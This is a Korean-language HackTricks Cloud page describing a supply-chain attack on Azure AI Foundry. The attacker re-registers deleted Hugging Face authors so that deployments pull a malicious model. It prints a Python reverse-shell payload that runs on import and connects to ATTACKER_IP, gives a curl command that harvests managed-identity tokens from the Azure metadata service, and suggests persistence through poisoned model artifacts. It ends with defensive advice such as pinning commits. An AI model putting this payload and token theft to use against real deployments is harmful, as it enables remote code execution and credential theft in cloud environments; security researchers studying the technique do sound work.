Azure - AI Foundry Post-Exploitation via Hugging Face 모델 네임스페이스 재사용
Reading time: 4 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
시나리오
- Azure AI Foundry Model Catalog에는 원클릭 배포를 위한 많은 Hugging Face (HF) 모델이 포함되어 있다.
- HF 모델 식별자는 Author/ModelName이다. HF author/org가 삭제되면, 누구나 해당 author를 재등록하여 동일한 ModelName으로 legacy path에 모델을 게시할 수 있다.
- 이름만으로(pull by name) 가져오는 pipelines 및 catalogs(commit pinning/무결성 체크 없음)는 공격자 제어의 repo로 해석된다. Azure가 모델을 배포할 때 loader code가 endpoint 환경에서 실행되어 해당 endpoint의 권한으로 RCE를 획득할 수 있다.
일반적인 HF takeover 사례:
- 소유권 삭제: takeover가 이루어질 때까지 기존 경로가 404가 된다.
- 소유권 이전: 기존 author가 존재하는 동안 기존 경로는 새 author로 307 리다이렉트된다. 이후 기존 author가 삭제되고 재등록되면 redirect가 깨지고 공격자의 repo가 legacy path에서 서비스된다.
재사용 가능한 네임스페이스(HF) 식별
bash
# Check author/org existence
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
# Check model path
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 -> redirect (transfer case), 404 -> deleted until takeover
Azure AI Foundry에 대한 엔드투엔드 공격 흐름
- Model Catalog에서 원래 작성자가 HF에서 삭제되었거나 이전되어(기존 작성자가 제거된) HF 모델을 찾습니다.
- HF에서 방치된 작성자를 다시 등록하고 ModelName을 재생성합니다.
- import 시 실행되거나 trust_remote_code=True를 요구하는 loader code가 포함된 악성 repo를 게시합니다.
- Azure AI Foundry에서 레거시 Author/ModelName을 배포합니다. 플랫폼이 공격자 repo를 가져오고; loader가 Azure endpoint의 container/VM 내부에서 실행되어 endpoint 권한을 가진 RCE를 획득합니다.
예시 페이로드 조각 (import 시 실행됨, 시연용):
python
# __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images
if os.environ.get("AZUREML_ENDPOINT","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
Notes
- AI Foundry 배포는 HF와 통합될 때 일반적으로 모델의 config에서 참조된 repo 모듈(예: auto_map)을 클론하고 import하며, 이는 코드 실행을 유발할 수 있습니다. 일부 경로는 trust_remote_code=True가 필요합니다.
- 접근 권한은 보통 엔드포인트의 managed identity/service principal 권한과 일치합니다. 이를 데이터 접근 및 lateral movement within Azure를 위한 초기 발판으로 간주하세요.
Post-Exploitation Tips (Azure Endpoint)
- environment variables 및 MSI endpoints에서 tokens을 열거하세요:
bash
# Azure Instance Metadata Service (inside Azure compute)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
- 획득한 token으로 마운트된 스토리지, model artifacts 및 접근 가능한 Azure 서비스들을 확인하세요.
- 플랫폼이 HF에서 다시 pull할 경우, poisoned model artifacts를 남겨 persistence를 고려하세요.
Azure AI Foundry 사용자를 위한 방어 지침
- HF에서 로드할 때 모델을 commit 단위로 pin하세요:
python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
- 검증된 HF models를 신뢰할 수 있는 내부 레지스트리에 미러링하고 거기서 배포하세요.
- 코드베이스와 defaults/docstrings/notebooks를 지속적으로 스캔하여 삭제되었거나 이전된 하드코딩된 Author/ModelName을 찾아 업데이트하거나 핀(pin)하세요.
- 배포하기 전에 author 존재 여부와 모델 출처(provenance)를 검증하세요.
인식 휴리스틱 (HTTP)
- Deleted author: author 페이지 404; legacy model path 404 until takeover.
- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
교차 참조
- 더 광범위한 방법론 및 공급망 관련 노트를 참조하세요:
참고 자료
- Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)
- Hugging Face: Renaming or transferring a repo
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud